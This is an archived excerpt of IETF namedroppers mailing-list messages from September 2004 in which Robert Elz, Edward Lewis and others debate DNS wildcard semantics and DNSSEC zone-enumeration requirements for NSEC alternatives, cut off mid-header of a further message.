Received: from majordom by psg.com with local (Exim 4.41 (FreeBSD))
id 1C2saa-000G0X-BX
for namedroppers-data@psg.com; Thu, 02 Sep 2004 14:29:24 +0000
Received: from [202.12.73.3] (helo=ratree.psu.ac.th)
by psg.com with esmtp (Exim 4.41 (FreeBSD))
id 1C2saP-000FzG-5N
for namedroppers@ops.ietf.org; Thu, 02 Sep 2004 14:29:13 +0000
Received: from delta.noi.kre.to (delta.coe.psu.ac.th [172.30.0.98])
by ratree.psu.ac.th (8.11.6/8.11.6) with ESMTP id i82ETAY25401;
Thu, 2 Sep 2004 21:29:11 +0700 (ICT)
Received: from munnari.OZ.AU (localhost [127.0.0.1])
by delta.noi.kre.to (8.12.9/8.11.6) with ESMTP id i82ETAJQ014641;
Thu, 2 Sep 2004 21:29:10 +0700 (ICT)
From: Robert Elz
To: Edward Lewis
cc: namedroppers@ops.ietf.org
Subject: Re: more wild cards
In-Reply-To:
References:
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Date: Thu, 02 Sep 2004 21:29:10 +0700
Message-ID: <27579.1094135350@munnari.OZ.AU>
X-Spam-Checker-Version: SpamAssassin 2.64 (2004-01-11) on psg.com
X-Spam-Status: No, hits=-4.9 required=5.0 tests=AWL,BAYES_00 autolearn=ham
version=2.64
Sender: owner-namedroppers@ops.ietf.org
Precedence: bulk
Date: Wed, 1 Sep 2004 21:48:42 -0400
From: Edward Lewis
Message-ID:
| I've been looking at the text as it stands and the minutes of the
| meeting in Minneapolis. Besides the name question -
|
| 1) * SOA. The text goes to great lengths to say that this is doable
| in one sense, but in another sense it's stupid. I.e., Step 2 of the
| algorithm in RFC 1034 (sect 4.3.2) says "pick the zone". If you can
| generate zones on the fly, you do it here.
|
| The problem is, you really can't.
|
| Let's say you have example.com and *.example.com on the server. I
| ask for www.cnn.example.com. In step 2, you can't just generate
| cnn.example.com - because you don't know if there's an NS RR set for
| cnn.exmample.com in example.com. I.e., you'd have to do step 2, then
| step 3. If in step 3 you'd decide to send a referral, you would then
| have to go back to step 2 and generate.
|
| Now, I realize that the algorithm is a suggestion, that the
| sequential nature of step 2 and step 3 isn't strict - but I don't
| think the intent was to do step 2 - 3 - 2 (again) - 3 (again).
I follow your reasoning, but I don't think I agree with this result.
Once again you're confusing the zone name tree, with the lookup algorithm.
There is nothing at all wrong with '*' as a domain name, and queries for
names with '*' as one of the labels work (or should work) just fine.
Given this, there's also no reason why '*' cannot be delegated to a
different (or the same) server(s), in which case it needs an SOA record,
just like any other delegated domain.
Then there's the separate question, that of the lookup algorithm, and
whether or not this particular '*' ever plays any role in lookups as a
wildcard.
Here we need to investigate what happens when we do a lookup, if we
have '*' as a delegated sub-domain (which it must be to have an SOA
record).
This one is pretty simple, 4.3.3,. which explains wildcards, says
quite clearly
Wildcard RRs do not apply:
- When the query is in another zone.
That is, if we're searching example.com for x.example.com, and there is
no x.example.com we cannot go through a delegation point to find a wildcard
there, so the delegated *.example.com domain is simply a (perfectly valid)
domain, and has nothing whatever to do with wildcards.
If there's a SOA for *.example.com, then '*' must be delegated, hence it
cannot possibly be relevant to the lookup algorithm as a wildcard.
| I'm suggesting that we declare a * SOA to be an load/update error.
No, you shouldn't do that. There's nothing invalid or illegal about it.
This stuff all gets confused whenever anyone starts talking about dynamic
zone creation. Certainly a server could implement a method of
dynamically creating zones on the fly (when a query for one is made, or
whenever else it wanted to), but there is absolutely nothing in 1034/1035
(or anywhere else) that provides any support for such a mechanism.
Certainly wildcards cannot make it work.
| 2) * NS. The text talks around this too, with the discussion being
| rather vague. But at the end of the meeting I recall someone say:
|
| "You have to be authoritative for the data to synthesize records, and if you
| see * NS, you are not in the authoritative zone."
|
| I forget who said it, it isn't in the minutes, but I think that's a
| sharp observation. (I didn't see it, and I have been staring at wild
| cards for some time now.)
All this is true. You can't go through delegation points with wildcards.
But a '* NS' record is still perfectly valid, that's the only way that we
can delegate the '*' domain, which is a perfectly valid name.
Once again, separate out the DNS tree, from everything else, and examine
the algorithms as specified in 1034 carefully, you'll see that there's
absolutely nothing preventing a query containing '*' as a name, and no
reason at all that name can't literally match a '*' in a zone. For this
purpose the '*' is identical to any other label.
So
| I'm suggesting that * NS be a load/update error.
once again, no, you cannot do that.
But just as in the case of the SOA record, if you examine the algorithm as
it is specified in 1034, you'll see that unless we're doing a NS lookup,
a '* NS' name can never be found. There's absolutely nothing in the
algorithm that supports treating a '*' there as a wildcard (well, you
could treat it as a wildcard when doing an A (etc) lookup, but the NS record,
which is all that can exist - anything else goes in the auth data, isn't
an A record, so no data would ever be found - the NS records for '*' can
never appear as a delegation point for any query name other than '*', you
don't even have to read the algorithm all that clearly to see that.
There is no wildcard lookup part in the referral algorithm.
If we are doing an NS lookup, for x,example.com and an '* NS' record exists,
then that record matches as a wildcard, and the NS records are (should be)
returned. That's no different than a lookup for an A record when '* A'
exists (and the actual query name does not).
Note that this doesn't have any effect upon normal name lookups, which
don't (or shouldn't) be doing queries with qtype=NS - those queries are
reserved for diagnostics. NS records are an internal DNS artifact, and
have no business being used by anyone else.
Were there to be a resolver which (incorrectly) iteratively descended the
DNS tree by asking for NS records all the way down the name, one
label at a time (wouldn't work in many cases, but ...) then what that
broken resolver would discover would just be a lame delegation. It would
seem that x.example.com had been delegated to the servers listed in the
'* NS' record, but there would in fact almost certainly be no such zone
at those servers. (I suppose the delegated servers might happen to have it
- but most likely only for delegations that used to exist in the past but
haven't been cleaned up yet). No normal lookup would ever locate it.
There is no need to make anything here illegal, or cause zone load failures.
All that is necessary is to explain how the various possible records apply
to the lookup algorithm, which is the only context in which the word
"wildcard" makes any sense in the DNS algorithms.
| 3) * CNAME. From memory, we wanted to alter the algorithm to make
| this "chaseable" in the answer generation. I'm going to recover the
| text on this and put it in.
As I recall the latest draft (and in that I include both the latest posted
draft, and the half complete next version I returned to you), the text that
changed the spec for this purpose was still there. This one is clearly a
change to the algorithm, but one that is in accordance with the principle
of least surprise, so it is not an unreasonable change.
| There's a blurb about fixing DNAME, I'll do that.
I thought that the "fixing DNAME" was going to be punted into a
revision of the DNAME specification, if/when one ever appears.
That, or the "DNAME is just a CNAME generator" text which is already
there was supposed to be going to be enough for DNAME, wasn't it?
kre
--
to unsubscribe send a message to namedroppers-request@ops.ietf.org with
the word 'unsubscribe' in a single line as the message text body.
archive:
From owner-namedroppers@ops.ietf.org Thu Sep 2 10:40:45 2004
Received: from psg.com (mailnull@psg.com [147.28.0.62])
by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA08478
for ; Thu, 2 Sep 2004 10:40:45 -0400 (EDT)
Received: from majordom by psg.com with local (Exim 4.41 (FreeBSD))
id 1C2sir-000HNO-9J
for namedroppers-data@psg.com; Thu, 02 Sep 2004 14:37:57 +0000
Received: from [192.149.252.33] (helo=smtp1.arin.net)
by psg.com with esmtp (Exim 4.41 (FreeBSD))
id 1C2siX-000HKz-SX
for namedroppers@ops.ietf.org; Thu, 02 Sep 2004 14:37:38 +0000
Received: by smtp1.arin.net (Postfix, from userid 5003)
id 255A4143D9D; Thu, 2 Sep 2004 10:19:42 -0400 (EDT)
Received: from mercury.arin.net (mercury.arin.net [192.149.252.131])
by smtp1.arin.net (Postfix) with ESMTP id 2A26D143D93;
Thu, 2 Sep 2004 10:19:41 -0400 (EDT)
Received: from [192.168.1.100] (mercury.arin.net [127.0.0.1])
by mercury.arin.net (Postfix) with ESMTP id 34F64CF3C1;
Thu, 2 Sep 2004 10:37:36 -0400 (EDT)
Mime-Version: 1.0
X-Sender: edlewis@127.0.0.1
Message-Id:
In-Reply-To: <25125.1094132929@munnari.OZ.AU>
References:
<25125.1094132929@munnari.OZ.AU>
Date: Thu, 2 Sep 2004 10:37:35 -0400
To: Robert Elz
From: Edward Lewis
Subject: Re: wild cards
Cc: Edward Lewis , namedroppers@ops.ietf.org
Content-Type: text/plain; charset="us-ascii" ; format="flowed"
X-Spam-Checker-Version: SpamAssassin 2.64 (2004-01-11) on psg.com
X-Spam-Status: No, hits=-4.9 required=5.0 tests=BAYES_00 autolearn=ham
version=2.64
Sender: owner-namedroppers@ops.ietf.org
Precedence: bulk
At 20:48 +0700 9/2/04, Robert Elz wrote:
> Date: Wed, 1 Sep 2004 11:56:47 -0400
> From: Edward Lewis
> Message-ID:
>
> | a.*.example.com is legal and *.example.com synthesizes records
> | *.*.example.com is illegal and "is an error" (on load of
>zone/dynamic update)?
> | *.*.example.com is discouraged, as in "SHOULD NOT" (2119 - 1034 > 0)
>
>First answer is that there is no such thing as an "illegal" domain name
>(based upon content) - the only restrictions are on length. 1 character
>domain names are clearly legal, whatever the character (octet value really)
>is (including '\0' and '*').
>
>You cannot refuse to load zones just because you don't like some of the
>names that are in it (well, you can, if that's what the owner of the
>domain wants - but not just because the software author prefers it that
>way, or not without the software being defective).
It's true that there is no other restriction on a domain name other
than label and total length. And 1034 does mention that the null
label is reserved for the root - not the null name, but the null
label. (So I think an encoding of "0x00 0x03 A B C" as illegal in
the sense that the label "ABC" is trailing garbage.)
This doesn't bar us from now defining domain names as illegal -
keeping in mind that anytime we do something for the first time we
run the risk of problems elsewhere.
>
>
>Second part ...
>
>Wildcards are relevant only for domain name lookup - when looking up the
>name in a query, if no exact match is found, a search is done at the same
>level of the tree for a '*' label - if that one is found, it matches the
>entire rest of the query (no more searching happens).
>
>That makes things like *.*.example.com and a.*.example.com meaningless
>for this kind of query.
That's not entirely clear to me. For the moment, let's assume
there's no barring of *.*.example.com.
Let's say we have there records (assuming IN class all the way):
example.com SOA
*.example.com A 1.1.1.1
*.*.example.com A 2.2.2.2
a.*.example.com A 3.3.3.3
Query for (*.example.com A) -> 1.1.1.1 is the return, exact match
Query for (a.example.com A) -> 1.1.1.1 with closest encloser example.com
Query for (a.*.example.com A) -> 3.3.3.3 exact match, I think.
Query for (b.*.example.com A) -> 2.2.2.2 with closest encloser *.example.com
Query for (b.a.example.com A) -> 1.1.1.1 with closest encloser example.com
IOW - *.*.example.com creates a shadow between *.example.com and any
subdomain of that name.
Okay, RFC1034 forbids ("discourages") *.*.example.com. Let's strike
it from the example.
example.com SOA
*.example.com A 1.1.1.1
a.*.example.com A 3.3.3.3
Query for (*.example.com A) -> no change from before
Query for (a.example.com A) -> ditto
Query for (a.*.example.com A) -> ditto
Query for (b.*.example.com A) -> NXDOMAIN
Query for (b.a.example.com A) -> no change from before
There's a change for queries in the shadow of *.example.com - they
become NXDOMAIN if not listed in the zone file.
So - I wouldn't say they are "meaningless."
>If we assume there is no x.example.com in the zone, and I make a query
>for q.x.example.com any of the "wildcard" names in this message (my text
>or the quoted text) match it.
Not really - *.*.example.com isn't "*" + $closest_encloser.
(*.example.com is).
>That is, we're searching example.com for 'x', not found, search example.com
>for the '*' wildcard - found, that then matches the "q.x" part of the query,
>and we look no more.
Yeah. Maybe I misunderstood the previous "in this message" comment.
>It is most certainly not the case that the existence of (just) a.*.example.com
>in a zone makes a lookup of a.x.example.com succeed, but one of
>b.x.example.com fail - if x.example.com matches the wildcard at all
>(there is no x.example.com in the zone) then a query for any sub-domain of
>x.example.com also matches the wildcard (the same wildcard). There
>is no way to limit that.
In my world, a.*.example.com wouldn't match a.x.example.com,
*.example.com is the match. Same for b.x.example.com - it is matched
by *.example.com because there is no x.example.com. If I ask for
(x.example.com, A) I get an answer of "1.1.1.1", so there is an
answer for the name, but it doesn't exist explicitly.
Maybe there's the conundrum. In this instance I have an answer for a
name that does not block wild card matching. "x.example.com" returns
data (A) but does not stand in the way of b.x.example.com and
*.example.com. Without DNSSEC, this could be terribly confusing to
the astute resolver.
My interest in this topic is more than academic (not that you are
insinuating I'm being academic). When I sat in on MARID in May, they
wanted to be able to have a record like: _marid.*.example.com.
(ref: http://www.imc.org/ietf-mxcomp/mail-archive/msg01597.html)
The options are to stand aside and let this be, create the notion of
an illegal name, or to muffle the synthesis rules if *.
has a (non-empty) subdomain itself.
>Third part ...
>
>If we do a query for a.*.example.com we end up searching example.com for '*'
>not as a wildcard, but as a label, in this case we find it, just as a label,
>and go on to look for the sub-domain of *.example.com that we're querying
>('a') in this case, in exactly the same manner that we would if the '*'
>was replaced (in both the query and the zone) by 'z'. Here, if
>a.*.example.com exists in the zone, then it matches the query, and the
>results are returned. If there's no a.*.example.com in the zone file,
>then we do a wildcard lookup (look for a '*' inside the *.example.com domain)
>and if that one exists, it provides the answers. If it doesn't, NXDOMAIN.
>
>
>All this stuff is really amazingly simple if you consider the name space as a
>tree, and always think of it that way, and then obey the 1034 lookup
>algorithm.
>It is only when you start to concentrate on zone file formats, and textual
>representations, that things start to look more complex and messy. So
>don't do that.
That's what I've been saying about wild cards for some time. "They
aren't confusing, they're just misunderstood."
>Fourth part ...
>
>No-one can really count upon any of the implementations actually
>implementing all of these corner cases correctly (and certainly not
>all of them). So, for all practical purposes anything except a solitary
>'*' as the leftmost label in a name loaded into a zone file is simply
>going to produce random undefined results, and no-one should be doing
>such a thing (but that people shouldn't do it doesn't mean that the
>implementations should attempt to enforce that restriction). The
>best thing is to simply consider all this as "undefined behaviour".
The effort is to get everyone to interoperate on this. We want to
stomp on corner cases that have gone haywire. If not for just
academic purity, but to be able to explain to groups like the MARID
WG why "_marid.*.example.com" doesn't behave as they think it does.
--
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
Edward Lewis +1-703-227-9854
ARIN Research Engineer
"I can't go to Miami. I'm expecting calls from telemarketers." -
Grandpa Simpson.
--
to unsubscribe send a message to namedroppers-request@ops.ietf.org with
the word 'unsubscribe' in a single line as the message text body.
archive:
From owner-namedroppers@ops.ietf.org Thu Sep 2 11:12:15 2004
Received: from psg.com (mailnull@psg.com [147.28.0.62])
by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA11275
for ; Thu, 2 Sep 2004 11:12:15 -0400 (EDT)
Received: from majordom by psg.com with local (Exim 4.41 (FreeBSD))
id 1C2tCd-000Mgv-Ih
for namedroppers-data@psg.com; Thu, 02 Sep 2004 15:08:43 +0000
Received: from [192.149.252.33] (helo=smtp1.arin.net)
by psg.com with esmtp (Exim 4.41 (FreeBSD))
id 1C2tCS-000McN-F1
for namedroppers@ops.ietf.org; Thu, 02 Sep 2004 15:08:32 +0000
Received: by smtp1.arin.net (Postfix, from userid 5003)
id 59B92143DB0; Thu, 2 Sep 2004 10:50:36 -0400 (EDT)
Received: from mercury.arin.net (mercury.arin.net [192.149.252.131])
by smtp1.arin.net (Postfix) with ESMTP id 462C4143DA2;
Thu, 2 Sep 2004 10:50:35 -0400 (EDT)
Received: from [192.168.1.100] (mercury.arin.net [127.0.0.1])
by mercury.arin.net (Postfix) with ESMTP id B6474CF3C1;
Thu, 2 Sep 2004 11:08:30 -0400 (EDT)
Mime-Version: 1.0
X-Sender: edlewis@127.0.0.1
Message-Id:
In-Reply-To: <27579.1094135350@munnari.OZ.AU>
References:
<27579.1094135350@munnari.OZ.AU>
Date: Thu, 2 Sep 2004 11:08:25 -0400
To: Robert Elz
From: Edward Lewis
Subject: Re: more wild cards
Cc: Edward Lewis , namedroppers@ops.ietf.org
Content-Type: text/plain; charset="us-ascii" ; format="flowed"
X-Spam-Checker-Version: SpamAssassin 2.64 (2004-01-11) on psg.com
X-Spam-Status: No, hits=-4.9 required=5.0 tests=AWL,BAYES_00 autolearn=ham
version=2.64
Sender: owner-namedroppers@ops.ietf.org
Precedence: bulk
At 21:29 +0700 9/2/04, Robert Elz wrote:
> Date: Wed, 1 Sep 2004 21:48:42 -0400
> From: Edward Lewis
> Message-ID:
>
>
>I follow your reasoning, but I don't think I agree with this result.
>
>Once again you're confusing the zone name tree, with the lookup algorithm.
No - I'm bouncing one idea off the other.
> | I'm suggesting that we declare a * SOA to be an load/update error.
>
>No, you shouldn't do that. There's nothing invalid or illegal about it.
We restrict names that have CNAME to be exclusively that ('cept for
DNSSEC records) and then just one CNAME RR. We restrict some name
to have just 1 SOA RR.
There's nothing in the current specifications that prevent "* NS"
now. The WG seems to be moving towards formalizing the prevention.
As the former author of this document (pre-WG status), I refrained
from changing anything other than the definition of "existence." As
editor, I'm reflecting what the WG wants - putting forth
"suggestions" as to what I think the group is saying. I'm taking
Robert's "you" to mean the WG, not myself.
Looking at the discussion - I see a swell of support for formally
banning the holding of NS and SOA at the * label. As much as I can
rationalize, leaving them legal does no harm in the sense that the
protocol isn't harmed. But, by leaving them legal we open up the
documents to widely speculative interpretations (such as what
happened in MARID regarding internal wild cards) and we create gray
areas and corner cases. But, on the third hand, by banning things -
we create more rules that need to be enforced in software by "fully
compliant" implementations.
Finally - every restriction placed lowers the degrees of freedom we have.
We need to balance between an amorphous free-flowing protocol and a
tightly-defined protocol. It's easier to extend an amorphous entity,
but it's easier to know you've extend correctly a tightly-defined
entity.
>
>This stuff all gets confused whenever anyone starts talking about dynamic
>zone creation. Certainly a server could implement a method of
>dynamically creating zones on the fly (when a query for one is made, or
>whenever else it wanted to), but there is absolutely nothing in 1034/1035
>(or anywhere else) that provides any support for such a mechanism.
>Certainly wildcards cannot make it work.
Exactly what I've discovered in my research. And, because of your
last line, I think the WG wants to see the ban on * SOA and *NS in
place. To make it clear to newcomers to "don't go there."
> | 2) * NS. The text talks around this too, with the discussion being
> | rather vague. But at the end of the meeting I recall someone say:
> |
> | "You have to be authoritative for the data to synthesize
>records, and if you
> | see * NS, you are not in the authoritative zone."
> |
> | I forget who said it, it isn't in the minutes, but I think that's a
> | sharp observation. (I didn't see it, and I have been staring at wild
> | cards for some time now.)
>
>All this is true. You can't go through delegation points with wildcards.
>But a '* NS' record is still perfectly valid, that's the only way that we
>can delegate the '*' domain, which is a perfectly valid name.
>
>Once again, separate out the DNS tree, from everything else, and examine
>the algorithms as specified in 1034 carefully, you'll see that there's
>absolutely nothing preventing a query containing '*' as a name, and no
>reason at all that name can't literally match a '*' in a zone. For this
>purpose the '*' is identical to any other label.
Nothing preventing, yes, but no benefit either.
>So
>
> | I'm suggesting that * NS be a load/update error.
>
>once again, no, you cannot do that.
Look at what we did for the DS RR set. We changed the data lookup
algorithm to make the answer come from the parent.
Here, we can say "the answer to a * NS query is noerror/nodata." We
can most easily enforce this by refusing to allow "*NS" into the
server. That's better than putting in other road blocks.
Let's say we discover that there's a use for "* NS". New server
implementations can come out then, allowing it - without having to
wait for resolvers to catch up. That's why barring something at load
makes sense (to me) in this case.
I really think that when it comes to securing critical infrastructure
like DNS, we want to clamp down on it's looseness with out making it
brittle. That's one rationale for the clarifications. (The original
motivation was to stop the need for NXT "optimization" based on
incomplete knowledge of the DNS. We almost did unnecessary surgery
to solve a problem that didn't really exist.)
I do share the concern that laying down "rules" is dangerous for
future growth. And I am well aware that refraining from barring
these records is would only prevent stupid behavior - like preventing
folks from swimming with dangerous tides in the ocean. But, the case
is being made that we want the DNS to be much more clear,
understandable to folks that coming to the table later in the
development of the Internet.
>There is no need to make anything here illegal, or cause zone load failures.
>All that is necessary is to explain how the various possible records apply
>to the lookup algorithm, which is the only context in which the word
>"wildcard" makes any sense in the DNS algorithms.
When I talked to MARID in May, at their interim meeting, they did not
want an engineering discussion of DNS, they wanted "can/can't". They
did not wish to engage in a discussion of the internals of DNS and
name space search theory. After all, they have other fish to fry,
very understandable. In either case, I found it fruitless to try to
explain why internal wild cards did not do what they thought they did
- some insisted that the name is legal, therefore useful.
>
> | There's a blurb about fixing DNAME, I'll do that.
>
>I thought that the "fixing DNAME" was going to be punted into a
>revision of the DNAME specification, if/when one ever appears.
>That, or the "DNAME is just a CNAME generator" text which is already
>there was supposed to be going to be enough for DNAME, wasn't it?
I hadn't gotten that far as yet...
--
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
Edward Lewis +1-703-227-9854
ARIN Research Engineer
"I can't go to Miami. I'm expecting calls from telemarketers." -
Grandpa Simpson.
--
to unsubscribe send a message to namedroppers-request@ops.ietf.org with
the word 'unsubscribe' in a single line as the message text body.
archive:
From owner-namedroppers@ops.ietf.org Thu Sep 2 11:50:31 2004
Received: from psg.com (mailnull@psg.com [147.28.0.62])
by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA13818
for ; Thu, 2 Sep 2004 11:50:31 -0400 (EDT)
Received: from majordom by psg.com with local (Exim 4.41 (FreeBSD))
id 1C2to7-0002Z3-ID
for namedroppers-data@psg.com; Thu, 02 Sep 2004 15:47:27 +0000
Received: from [192.149.252.33] (helo=smtp1.arin.net)
by psg.com with esmtp (Exim 4.41 (FreeBSD))
id 1C2tnw-0002Xb-MW
for namedroppers@ops.ietf.org; Thu, 02 Sep 2004 15:47:16 +0000
Received: by smtp1.arin.net (Postfix, from userid 5003)
id 4041A143D44; Thu, 2 Sep 2004 11:29:20 -0400 (EDT)
Received: from mercury.arin.net (mercury.arin.net [192.149.252.131])
by smtp1.arin.net (Postfix) with ESMTP id 899BA143CA6;
Thu, 2 Sep 2004 11:29:19 -0400 (EDT)
Received: from [192.168.1.100] (mercury.arin.net [127.0.0.1])
by mercury.arin.net (Postfix) with ESMTP id 57B09CF3C1;
Thu, 2 Sep 2004 11:47:15 -0400 (EDT)
Mime-Version: 1.0
X-Sender: edlewis@127.0.0.1
Message-Id:
In-Reply-To:
<4E25ECBBC03F874CBAD03399254ADFDE1052D2@US-Columbia-CIST.mail.saic.com>
References:
<4E25ECBBC03F874CBAD03399254ADFDE1052D2@US-Columbia-CIST.mail.saic.com>
Date: Thu, 2 Sep 2004 11:47:13 -0400
To: "Loomis, Rip"
From: Edward Lewis
Subject: Re: Zone enumeration, requirements, and security redux
Cc: namedroppers@ops.ietf.org
Content-Type: text/plain; charset="us-ascii" ; format="flowed"
X-Spam-Checker-Version: SpamAssassin 2.64 (2004-01-11) on psg.com
X-Spam-Status: No, hits=-4.9 required=5.0 tests=BAYES_00 autolearn=ham
version=2.64
Sender: owner-namedroppers@ops.ietf.org
Precedence: bulk
At 9:57 -0400 9/2/04, Loomis, Rip wrote:
>Comments on the above, and *any last requirements*
>requested.
These are derived from what I've mentioned in the past. (It's hard
to know what's meant by "last" in any last requirements without
seeing the list. So to be on the safe side...)
[Find] a way to prove the non-existence of a name without
- exposing any of the contents of the zone
- muddying up the name space with fake names or data sets
- on-line cryptographic operations
- being vulnerable to replay attacks of the negative answer
- incompatible changes with NSEC
...that's a bit strongly worded. Of course, you pretty much have to
break one of them to continue onward. E.g., NSEC breaks #1.
Here's another...
Find a way to deny the existence of a DS RR set, when appropriate.
(I.e., if the decision is to make auth denial optional, DNSSEC is
toast unless you still account for saying "security stops" here.)
I'll add one more observation. In the reverse map name space, zone
enumeration is not something we can fight. There's more to this
though.
Many folks on this list are familiar with the Shared Registry Model
that is in use by some of the ICANN-somethinged zones.
(.com/.net/.biz/.org/etc.) In the model, there is just one registry
(organization) that is producing the zone.
Because the reverse map space predates the RIR system, the RIR's have
to co-manage zones. Kind of like a shared *registry* model, with
multiple writers to a zone. This makes operations a lot more
complicated, especially when the different registries are globally
dispersed.
Combining the futility of stopping zone enumeration in the
in-addr.arpa and ip6.arpa with the extra complication of multiple
management of some of the reverse map zones, I'd encourage any
alternative to the NSEC proposal be
- different only transparently to the resolver/validator
- intended to coexist with NSEC for a long time
- not require any undo operations effort on those content with NSEC
E.g., I can't see the four established and one emerging RIR having to
manage all of the on-line keys needed to support the on-line
approaches, no matter how true to the protocol the on-line signing
approaches are. It could be done, but quite a lot of work for
nearly/absolutely no gain.
Perhaps - my requirements here aren't yes/no, but rather criteria (graded).
--
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
Edward Lewis +1-703-227-9854
ARIN Research Engineer
"I can't go to Miami. I'm expecting calls from telemarketers." -
Grandpa Simpson.
--
to unsubscribe send a message to namedroppers-request@ops.ietf.org with
the word 'unsubscribe' in a single line as the message text body.
archive:
From owner-namedroppers@ops.ietf.org Thu Sep 2 12:36:26 2004
Received: from psg.com (mailnull@psg.com [147.28.0.62])
by ietf.org (8.9.1a/8.9.1a) with ESMTP id MAA16494
for ; Thu, 2 Sep 2004 12:36:25 -0400 (EDT)
Received: from majordom by psg.com with local (Exim 4.41 (FreeBSD))
id 1C2uVT-0009MI-6i
for namedroppers-data@psg.com; Thu, 02 Sep 2004 16:32:15 +0000
Received: from [80.91.224.249] (helo=main.gmane.org)
by psg.com with esmtp (Exim 4.41 (FreeBSD))
id 1C2uV9-0009Jn-SO
for namedroppers@ops.ietf.org; Thu, 02 Sep 2004 16:31:56 +0000
Received: from list by main.gmane.org with local (Exim 3.35 #1 (Debian))
id 1C2uV8-00041d-00
for ; Thu, 02 Sep 2004 18:31:54 +0200
Received: from c494102a.s-bi.bostream.se ([217.215.27.65])
by main.gmane.org with esmtp (Gmexim 0.1 (Debian))
id 1AlnuQ-0007hv-00
for ; Thu, 02 Sep 2004 18:31:54 +0200
Received: from jas by c494102a.s-bi.bostream.se with local (Gmexim 0.1 (Debian))
id 1AlnuQ-0007hv-00
for ; Thu, 02 Sep 2004 18:31:54 +0200
X-Injected-Via-Gmane: http://gmane.org/
To: namedroppers@ops.ietf.org
From: Simon Josefsson
Subject: Re: Zone enumeration, requirements, and security redux
Date: Thu, 02 Sep 2004 18:31:41 +0200
Lines: 20
Message-ID:
References: <4E25ECBBC03F874CBAD03399254ADFDE1052D2@US-Columbia-CIST.mail.saic.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Complaints-To: usenet@sea.gmane.org
X-Gmane-NNTP-Posting-Host: c494102a.s-bi.bostream.se
User-Agent: Gnus/5.110003 (No Gnus v0.3) Emacs/21.3.50 (gnu/linux)
Cancel-Lock: sha1:V7hUEz5pXYwEDjIym2MnbwxZCWk=
X-Spam-Checker-Version: SpamAssassin 2.64 (2004-01-11) on psg.com
X-Spam-Status: No, hits=-4.8 required=5.0 tests=AWL,BAYES_00 autolearn=ham
version=2.64
Sender: owner-namedroppers@ops.ietf.org
Precedence: bulk
Edward Lewis writes:
> [Find] a way to prove the non-existence of a name without
...
> - muddying up the name space with fake names or data sets
What does this mean?
The simplest explanation is perhaps an example of a solution that
wouldn't fulfill the requirement.
The reason I ask is that some users may find it useful to fill up the
name space with fake names, when adding NSECbis records. The reason
for doing so would be to make it more difficult to find (arbitrarily
precise) zone size estimates. All NSEC replacement proposals so far
are vulnerable to remote zone size estimates, and DNS without DNSSEC
is not. See section 3 of http://www.links.org/dnssec/requirements.txt
Thanks,
Simon
--
to unsubscribe send a message to namedroppers-request@ops.ietf.org with
the word 'unsubscribe' in a single line as the message text body.
archive:
From owner-namedroppers@ops.ietf.org Thu Sep 2 13:29:20 2004
Received: from psg.com (mailnull@psg.com [147.28.0.62])
by ietf.org (8.9.1a/8.9.1a) with ESMTP id NAA21282
for ; Thu, 2 Sep 2004 13:29:19 -0400 (EDT)
Received: from majordom by psg.com with local (Exim 4.41 (FreeBSD))
id 1C2vLS-000I9P-Mw
for namedroppers-data@psg.com; Thu, 02 Sep 2004 17:25:58 +0000
Received: from [204.152.187.1] (helo=sa.vix.com)
by psg.com with esmtp (Exim 4.41 (FreeBSD))
id 1C2vL9-000I7R-QV
for namedroppers@ops.ietf.org; Thu, 02 Sep 2004 17:25:40 +0000
Received: by sa.vix.com (Postfix, from userid 716)
id 8C26913E11; Thu, 2 Sep 2004 17:25:39 +0000 (GMT)
To: namedroppers@ops.ietf.org
Subject: Re: dictionary attack on nameservers
References: <20040728190530.GA22758@atoom.net>
From: Paul Vixie
Date: 02 Sep 2004 17:25:39 +0000
In-Reply-To:
Message-ID:
Lines: 31
User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Spam-Checker-Version: SpamAssassin 2.64 (2004-01-11) on psg.com
X-Spam-Status: No, hits=-4.9 required=5.0 tests=BAYES_00 autolearn=ham
version=2.64
Sender: owner-namedroppers@ops.ietf.org
Precedence: bulk
"Olaf M. Kolkman" writes:
> I want to close this thread by giving every participant the
> opportunity to state their concluding argument in not more than 20
> lines of text.
> ...
> I am trying to get something sensible out of this that will allow us to
> go forward or, if needed, conclude, in a decent fashion.
1: my observations are:
2:
3: - non-registry (SLD, et al) zone administrators are already
4: hiding their sensitive DNS data, if any, behind split views
5:
6: - registry (mostly TLD) zone administrators have a competitive
7: interest in name secrecy not shared by registrars/registrants
8:
9: - load increases due to more difficult enumeration will be felt
10: by enumeration victims and third parties, not just attackers
11:
12: my recommendations are:
13:
14: + ensure that NSEC is capable of covering a single name, so that
15: a zone can use precomputed positive signatures and on-the-fly
16: negative signatures, and let motivated/interested zone
17: administrators add name secrecy by provisioning extra hardware.
18:
19: + consider other, more compact encodings for nonexistence-proof,
20: which are easier to generate on-the-fly than single-name NSEC.
--
Paul Vixie
--
to unsubscribe send a message to namedroppers-request@ops.ietf.org with
the word 'unsubscribe' in a single line as the message text body.
archive:
From owner-namedroppers@ops.ietf.org Thu Sep 2 13:48:17 2004
Received: from psg.com (mailnull@psg.com [147.28.0.62])
by ietf.org (8.9.1a/8.9.1a) with ESMTP id NAA22703
for ; Thu, 2 Sep 2004 13:48:17 -0400 (EDT)
Received: from majordom by psg.com with local (Exim 4.41 (FreeBSD))
id 1C2vdJ-000Kig-7c
for namedroppers-data@psg.com; Thu, 02 Sep 2004 17:44:25 +0000
Received: from [66.167.171.107] (helo=internaut.com)
by psg.com with esmtp (Exim 4.41 (FreeBSD))
id 1C2vcc-000KXs-46
for namedroppers@ops.ietf.org; Thu, 02 Sep 2004 17:43:42 +0000
Received: from localhost (aboba@localhost)
by internaut.com (8.10.2/8.10.2) with ESMTP id i82Hb5r05400
